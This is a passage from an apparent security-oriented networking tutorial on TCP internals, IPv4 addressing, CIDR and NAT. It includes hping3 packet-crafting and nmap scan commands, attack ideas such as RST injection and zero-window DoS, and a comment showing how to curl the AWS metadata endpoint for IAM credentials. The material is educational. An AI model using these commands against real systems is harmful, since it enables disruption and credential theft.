An attacker who knows the current sequence number of an established TCP connection can forge a RST packet that terminates the connection. Sequence number guessing was historically easy on predictable ISN implementations.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RST injection use cases:
1. Network censorship: "Great Firewall of China" injects TCP RST packets
   to terminate connections to blocked content
   Tools: nmap can detect RST injection by comparing responses from different
   vantage points — discrepancies indicate path-level RST injection

2. Intrusion Prevention: IPS devices inject RST to both ends of a connection
   to terminate detected attack traffic

3. Offensive: Terminate an ongoing session between two victims (DoS)

4. Testing: Verify firewall blocks — does a blocked connection receive RST
   (firewall rejects) or nothing (firewall drops silently)?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# hping3 — craft specific TCP packets&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-S&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 &lt;span class="nt"&gt;-c&lt;/span&gt; 3 192.168.1.1           &lt;span class="c"&gt;# Send 3 SYN to port 80&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1                &lt;span class="c"&gt;# Send RST to port 80&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1                &lt;span class="c"&gt;# Send ACK (firewall mapping)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1                &lt;span class="c"&gt;# Send FIN (FIN scan)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-SA&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 192.168.1.1               &lt;span class="c"&gt;# SYN+ACK (unusual)&lt;/span&gt;

&lt;span class="c"&gt;# Detect RST injection in Wireshark:&lt;/span&gt;
&lt;span class="c"&gt;# Filter: tcp.flags.reset == 1&lt;/span&gt;
&lt;span class="c"&gt;# Compare RST TTLs with expected TTL from destination&lt;/span&gt;
&lt;span class="c"&gt;# If RST TTL differs significantly from normal responses, RST was injected&lt;/span&gt;
&lt;span class="c"&gt;# by an intermediate device (firewall, IPS, censor)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. TCP Internals — What Textbooks Skip
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 TCP Flow Control — The Sliding Window
&lt;/h3&gt;

&lt;p&gt;Flow control prevents a fast sender from overwhelming a slow receiver. The receiver advertises how much buffer space it has (the window size), and the sender limits outstanding unacknowledged data to this window.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Window size = how many bytes receiver can accept without ACK

Sender                          Receiver (window = 4 bytes)
  │                               │ [Buffer: _ _ _ _] (4 empty slots)
  │──── Bytes 1-4 ──────────────→ │ [Buffer: 1 2 3 4] (full)
  │                               │
  │ ←── ACK 5, Window=4 ────────  │ [Buffer: _ _ _ _] (processed, empty)
  │──── Bytes 5-8 ──────────────→ │
  ...

Window scaling (RFC 7323):
  16-bit window field max: 65,535 bytes
  Over fast WAN links, this limits throughput
  Window Scale option multiplies window size by 2^shift_count
  Maximum effective window: 65535 × 2^14 = ~1 GB
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security implication:&lt;/strong&gt;&lt;br&gt;
Zero Window Attack: An attacker who can manipulate the receiver into advertising a zero window keeps the sender blocked indefinitely. The sender enters "persist" state, sending small "window probe" packets waiting for the window to open. This can cause connection-level DoS without flooding.&lt;/p&gt;
&lt;h3&gt;
  
  
  6.2 TCP Congestion Control
&lt;/h3&gt;

&lt;p&gt;TCP automatically adapts to network congestion through four algorithms:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Slow Start:
  Start with small congestion window (cwnd = 1 MSS)
  Double cwnd each RTT until threshold (ssthresh)
  "Exponential growth"

Congestion Avoidance:
  After ssthresh, increase cwnd by 1 MSS per RTT
  "Linear growth"

Fast Retransmit:
  3 duplicate ACKs = probable packet loss (not timeout)
  Retransmit immediately without waiting for timeout

Fast Recovery:
  After fast retransmit, halve ssthresh and cwnd
  Resume congestion avoidance (not slow start)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security relevance:&lt;/strong&gt; TCP congestion control can be exploited:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ACK throttling:&lt;/strong&gt; Send ACKs slowly to the sender, reducing its throughput&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Spurious retransmissions:&lt;/strong&gt; Cause the sender to believe packets were lost, triggering congestion response&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delayed ACK manipulation:&lt;/strong&gt; Exploit TCP's delayed ACK optimisation to affect throughput&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.3 TCP Keepalive
&lt;/h3&gt;

&lt;p&gt;TCP keepalive probes are periodic empty ACK packets sent on idle connections to verify the other end is still alive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux TCP keepalive settings:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/tcp_keepalive_time      &lt;span class="c"&gt;# 7200 (seconds before first probe)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/tcp_keepalive_intvl     &lt;span class="c"&gt;# 75 (seconds between probes)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/tcp_keepalive_probes    &lt;span class="c"&gt;# 9 (number of probes before giving up)&lt;/span&gt;

&lt;span class="c"&gt;# Default: 7200s (2 hours!) before first probe&lt;/span&gt;
&lt;span class="c"&gt;# A dead connection consumes state for 2+ hours by default&lt;/span&gt;
&lt;span class="c"&gt;# Adjust for security-sensitive applications:&lt;/span&gt;
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.tcp_keepalive_time&lt;span class="o"&gt;=&lt;/span&gt;60     &lt;span class="c"&gt;# 60 seconds&lt;/span&gt;
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.tcp_keepalive_intvl&lt;span class="o"&gt;=&lt;/span&gt;10    &lt;span class="c"&gt;# 10 second intervals&lt;/span&gt;
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.tcp_keepalive_probes&lt;span class="o"&gt;=&lt;/span&gt;3    &lt;span class="c"&gt;# 3 probes then give up&lt;/span&gt;

&lt;span class="c"&gt;# Security implication:&lt;/span&gt;
&lt;span class="c"&gt;# Long keepalive intervals allow stealthy C2 connections to persist&lt;/span&gt;
&lt;span class="c"&gt;# for hours between communications without the connection timing out&lt;/span&gt;
&lt;span class="c"&gt;# This is why some C2 frameworks use long TCP idle periods&lt;/span&gt;
&lt;span class="c"&gt;# Detection: connections with high idle time and periodic tiny packets&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. IPv4 Addressing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Structure
&lt;/h3&gt;

&lt;p&gt;IPv4 addresses are 32-bit binary numbers, written as four decimal octets separated by dots.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192  .  168  .   1   .  100
─────    ─────    ─────    ─────
11000000 10101000 00000001 01100100

Binary representation:
11000000.10101000.00000001.01100100

Decimal: 192.168.1.100
Hex:     C0.A8.01.64  or  0xC0A80164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Converting between representations:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python — IP address conversions
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# String to integer
&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Integer: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="c1"&gt;# 3232235876
&lt;/span&gt;
&lt;span class="c1"&gt;# String to bytes
&lt;/span&gt;&lt;span class="n"&gt;ip_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inet_aton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bytes: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="c1"&gt;# c0a80164
&lt;/span&gt;
&lt;span class="c1"&gt;# Integer to string
&lt;/span&gt;&lt;span class="n"&gt;ip_back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Back: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_back&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# 192.168.1.100
&lt;/span&gt;
&lt;span class="c1"&gt;# Working with network ranges
&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_network&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.0/24&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Network: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;network_address&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# 192.168.1.0
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Broadcast: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;broadcast_address&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 192.168.1.255
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hosts: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_addresses&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# 254
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;First host: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;())[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 192.168.1.1
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Last host: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;())[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 192.168.1.254
&lt;/span&gt;
&lt;span class="c1"&gt;# Check if IP is in a network
&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.50&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;In network: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# True
&lt;/span&gt;
&lt;span class="c1"&gt;# Useful for: checking if IP is RFC1918 private, checking if in attack scope
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is private: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_private&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is loopback: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_loopback&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# False
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Address Classes (Historical but Required Knowledge)
&lt;/h3&gt;

&lt;p&gt;Before CIDR (1993), IP addresses were divided into classes. Understanding classes is essential because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Legacy systems, documentation, and older CVEs reference them&lt;/li&gt;
&lt;li&gt;Reserved ranges are still based on class boundaries&lt;/li&gt;
&lt;li&gt;Subnetting understanding builds on this foundation
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Class A: 0xxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bit: 0
  Range: 1.0.0.0 – 126.0.0.0
  Subnet mask: /8 (255.0.0.0)
  Networks: 126
  Hosts per network: 16,777,214
  Used for: Large organisations, ISPs

Class B: 10xxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First two bits: 10
  Range: 128.0.0.0 – 191.255.0.0
  Subnet mask: /16 (255.255.0.0)
  Networks: 16,384
  Hosts per network: 65,534
  Used for: Universities, medium enterprises

Class C: 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First three bits: 110
  Range: 192.0.0.0 – 223.255.255.0
  Subnet mask: /24 (255.255.255.0)
  Networks: 2,097,152
  Hosts per network: 254
  Used for: Small networks (most common)

Class D: 1110xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range: 224.0.0.0 – 239.255.255.255
  Purpose: Multicast (not unicast hosts)
  Examples: 224.0.0.5 (OSPF), 239.255.255.250 (SSDP/UPnP)

Class E: 1111xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range: 240.0.0.0 – 255.255.255.255
  Purpose: Reserved for experimental use
  255.255.255.255: Limited broadcast
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Special Address Ranges
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;RFC 1918 — Private Addresses:&lt;/strong&gt;&lt;br&gt;
These ranges are never routed on the internet. NAT translates between private and public IPs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.0.0.0/8       10.0.0.0 – 10.255.255.255      (Class A private)
172.16.0.0/12    172.16.0.0 – 172.31.255.255    (Class B private)
192.168.0.0/16   192.168.0.0 – 192.168.255.255  (Class C private)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Other special ranges every security professional must know:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.0/8          Loopback (localhost) — 127.0.0.1 is the canonical
169.254.0.0/16       APIPA (Automatic Private IP Addressing) — assigned when DHCP fails
                     Seeing 169.254.x.x means: DHCP failure
                     Also used for link-local communication (AWS metadata: 169.254.169.254)

100.64.0.0/10        Carrier-grade NAT (CGN) — ISP internal addresses
                     Not RFC 1918 but also not public — confuses traceroutes

0.0.0.0/8            "This network" — only valid as source for DHCP discover
192.0.2.0/24         TEST-NET-1 (RFC 5737) — documentation examples
198.51.100.0/24      TEST-NET-2 (RFC 5737) — documentation examples  
203.0.113.0/24       TEST-NET-3 (RFC 5737) — documentation examples
                     (These appear in this document's examples)

192.88.99.0/24       6to4 relay (deprecated but may still appear)
224.0.0.0/4          Multicast
240.0.0.0/4          Reserved
255.255.255.255/32   Limited broadcast
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security implications of special ranges:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# AWS EC2 metadata service — critical for cloud attacks:&lt;/span&gt;
&lt;span class="c"&gt;# 169.254.169.254 is the link-local address of the metadata service&lt;/span&gt;
&lt;span class="c"&gt;# From inside an EC2 instance: curl http://169.254.169.254/latest/meta-data/&lt;/span&gt;
&lt;span class="c"&gt;# Contains: IAM credentials, instance role, user-data (often contains secrets)&lt;/span&gt;
&lt;span class="c"&gt;# SSRF vulnerabilities that reach this address are critical severity&lt;/span&gt;

&lt;span class="c"&gt;# Check if an IP is in RFC1918:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import ipaddress
ips = ['10.0.0.1', '172.16.0.1', '192.168.1.1', '8.8.8.8', '169.254.169.254']
for ip in ips:
    addr = ipaddress.ip_address(ip)
    print(f'{ip}: private={addr.is_private}, loopback={addr.is_loopback}, '
          f'link_local={addr.is_link_local}')
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 CIDR — Classless Inter-Domain Routing
&lt;/h3&gt;

&lt;p&gt;CIDR (RFC 4632, 1993) replaced classful addressing. It uses a prefix length to define the network portion of an address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192.168.1.0/24

/24 = prefix length = 24 bits for network
     = 32 - 24 = 8 bits for hosts
     = 2^8 - 2 = 254 usable hosts

Subnet mask from CIDR:
/8  = 255.0.0.0       = 11111111.00000000.00000000.00000000
/16 = 255.255.0.0     = 11111111.11111111.00000000.00000000
/24 = 255.255.255.0   = 11111111.11111111.11111111.00000000
/25 = 255.255.255.128 = 11111111.11111111.11111111.10000000
/26 = 255.255.255.192 = 11111111.11111111.11111111.11000000
/30 = 255.255.255.252 = 11111111.11111111.11111111.11111100
/32 = 255.255.255.255 = single host

Host formula: 2^(32-prefix) - 2
(-2 for network address and broadcast address)

/30 = 2^2 - 2 = 2 usable hosts (point-to-point links)
/29 = 2^3 - 2 = 6 usable hosts
/28 = 2^4 - 2 = 14 usable hosts
/27 = 2^5 - 2 = 30 usable hosts
/26 = 2^6 - 2 = 62 usable hosts
/25 = 2^7 - 2 = 126 usable hosts
/24 = 2^8 - 2 = 254 usable hosts
/23 = 2^9 - 2 = 510 usable hosts
/22 = 2^10 - 2 = 1022 usable hosts
/16 = 2^16 - 2 = 65534 usable hosts
/8  = 2^24 - 2 = 16,777,214 usable hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ipcalc — subnet calculator&lt;/span&gt;
ipcalc 192.168.1.100/24
&lt;span class="c"&gt;# Shows: network, broadcast, host range, prefix, etc.&lt;/span&gt;

&lt;span class="c"&gt;# Determine network and broadcast from IP + mask:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ipaddress

def subnet_info(cidr):
    net = ipaddress.ip_network(cidr, strict=False)
    print(f"CIDR:          {cidr}")
    print(f"Network:       {net.network_address}")
    print(f"Broadcast:     {net.broadcast_address}")
    print(f"Subnet mask:   {net.netmask}")
    print(f"Wildcard mask: {net.hostmask}")
    print(f"Usable hosts:  {net.num_addresses - 2}")
    print(f"First host:    {list(net.hosts())[0]}")
    print(f"Last host:     {list(net.hosts())[-1]}")

subnet_info("192.168.1.100/24")
print()
subnet_info("10.0.0.0/8")
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Nmap uses CIDR notation for network scanning:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24    &lt;span class="c"&gt;# Ping scan entire /24&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 10.0.0.0/8        &lt;span class="c"&gt;# Ping scan entire Class A (16M addresses — careful)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.5 NAT — Network Address Translation
&lt;/h3&gt;

&lt;p&gt;NAT allows multiple devices to share a single public IP address. It modifies IP headers as packets traverse the NAT device.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Internal network: 192.168.1.0/24
NAT device (router) public IP: 203.0.113.1

Outbound:
  Host 192.168.1.5:54321 → 8.8.8.8:53 (DNS query)
  NAT rewrites: 203.0.113.1:12345 → 8.8.8.8:53
  Stores mapping: 203.0.113.1:12345 ↔ 192.168.1.5:54321

Inbound:
  8.8.8.8:53 → 203.0.113.1:12345 (DNS response)
  NAT looks up: 203.0.113.1:12345 → 192.168.1.5:54321
  NAT rewrites: 8.8.8.8:53 → 192.168.1.5:54321
  Forwards to 192.168.1.5

NAT types (important for VoIP, P2P, gaming, and some attacks):
  Full Cone: Any external host can send to mapped port
  Restricted Cone: Only hosts that internal host has contacted
  Port Restricted Cone: Only specific source port from contacted host
  Symmetric: Different mapping for each external destination (strictest)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;NAT security implications:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;NAT provides &lt;strong&gt;implicit inbound protection&lt;/strong&gt; — external hosts cannot initiate connections to NAT'd internal hosts unless the NAT device is explicitly configured to allow it (port forwarding). This is why home routers with NAT provide a degree of protection even without a firewall.&lt;/p&gt;

&lt;p&gt;However, NAT is NOT a security control:&lt;/p&gt;

